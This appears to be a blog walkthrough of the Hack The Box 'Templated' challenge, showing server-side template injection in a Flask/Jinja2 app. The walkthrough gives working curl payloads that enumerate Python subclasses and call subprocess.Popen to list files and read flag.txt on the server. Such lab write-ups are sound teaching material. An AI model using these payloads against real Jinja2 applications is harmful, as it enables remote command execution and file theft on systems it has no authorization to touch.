This is a walkthrough of the Templated Hack The Box challenge. The challenge is rated as Easy, and is an example of a server-side template injection vulnerability.
Tools
No special tools were used in this walkthrough.
Getting Started
For this challenge we are provided with a server IP address and port to browse with our web client. If we browse to the root of the site, we see the following:
Tip: I’m using the v switch in curl so it will show the response headers from the server to see if there’s anything interesting in there.
# curl -v <server>:<port>
* Trying <server>:<port>...
* Connected to <server> (<server>) port <port> (#0)
> GET / HTTP/1.1
> Host: <server>:<port>
> User-Agent: curl/7.88.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 79
< Server: Werkzeug/1.0.1 Python/3.9.0
< Date: Mon, 25 Sep 2023 22:33:08 GMT
<
<h1>Site still under construction</h1>
<p>Proudly powered by Flask/Jinja2</p>
* Closing connection 0So, we see a bunch of technology terms in the response like “powered by Flask/Jinja2” and “Server: Werkzeug/1.0.1 Python/3.9.0” which might give us some clues. I’m familiar with Python, but I’ve never heard of the others, so I start Googling. It turns out that Werkzeug is a web application library that is used by Flask, which in turn is a web application framework written in Python, and Jinja2 is a template engine. All three of these are part of the Pallets Projects for web development in Python.
Since the title of this change is “Templated,” let’s start looking deeper into the template engine, Jinja2. From the documentation, we see that Jinja uses the following conventions by default:
- {% … %} for Statements
- {{ … }} for Expressions to print to the template output
- {# … #} for Comments not included in the template output
Ok cool, but how do we use these to help us in our challenge? Well, if we try to get a URL we see the following response:
# curl -v <server>:<port>/test
.
.
.
<h1>Error 404</h1>
* Closing connection 0
<p>The page '<str>test</str>' could not be found</p>So it looks like the 404 error page might be using a template and we should be able to insert content into this page through the URL. Let’s test this using a Jinja expression:
Tip: I’m using the g switch in curl to turn globbing off since we want the braces to be sent in our request.
# curl -v -g <server>:<port>/{{1+1}}
.
.
.
<h1>Error 404</h1>
* Closing connection 0
<p>The page '<str>2</str>' could not be found</p>This time, instead of getting the literal input, the response shows the calculated result of our input. After a bit more Googling on Jinja2 vulnerabilities, I found a way to show all available subclasses that we can use with this payload:
# curl -v -g "<server>:<port>/{{[].__class__.mro()[1].__subclasses__()}}"
.
.
.
<h1>Error 404</h1>
<p>The page '<str>[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class '__future__._Feature'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'ast.AST'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'array.array'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONS* Closing connection 0
erializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'unicodedata.UCD'>]</str>' could not be found</p>Using some hints online, we can use the subprocess.Popen to execute commands on the server. After some trial-and-error, I found we can specify the class and execute a remote command with the following payload:
# curl -v -g "<server>:<port>/{{[].__class__.mro()[1].__subclasses__()[414]('ls',shell=True,stdout=-1).communicate()}}"
.
.
.
<h1>Error 404</h1>
* Closing connection 0
<p>The page '<str>(b'bin\nboot\ndev\netc\nflag.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n', None)</str>' could not be found</p>So, right away we can see that the current directory has a file called flag.txt. We simply need to display the contents of the file like so:
# curl -v -g "<server>:<port>/{{[].__class__.mro()[1].__subclasses__()[414]('cat%20flag.txt',shell=True,stdout=-1).communicate()}}"
.
.
.
<h1>Error 404</h1>
* Closing connection 0
<p>The page '<str>(b'HTB{<flag string>}\n', None)</str>' could not be found</p>And that’s it, we found the flag and the challenge is solved!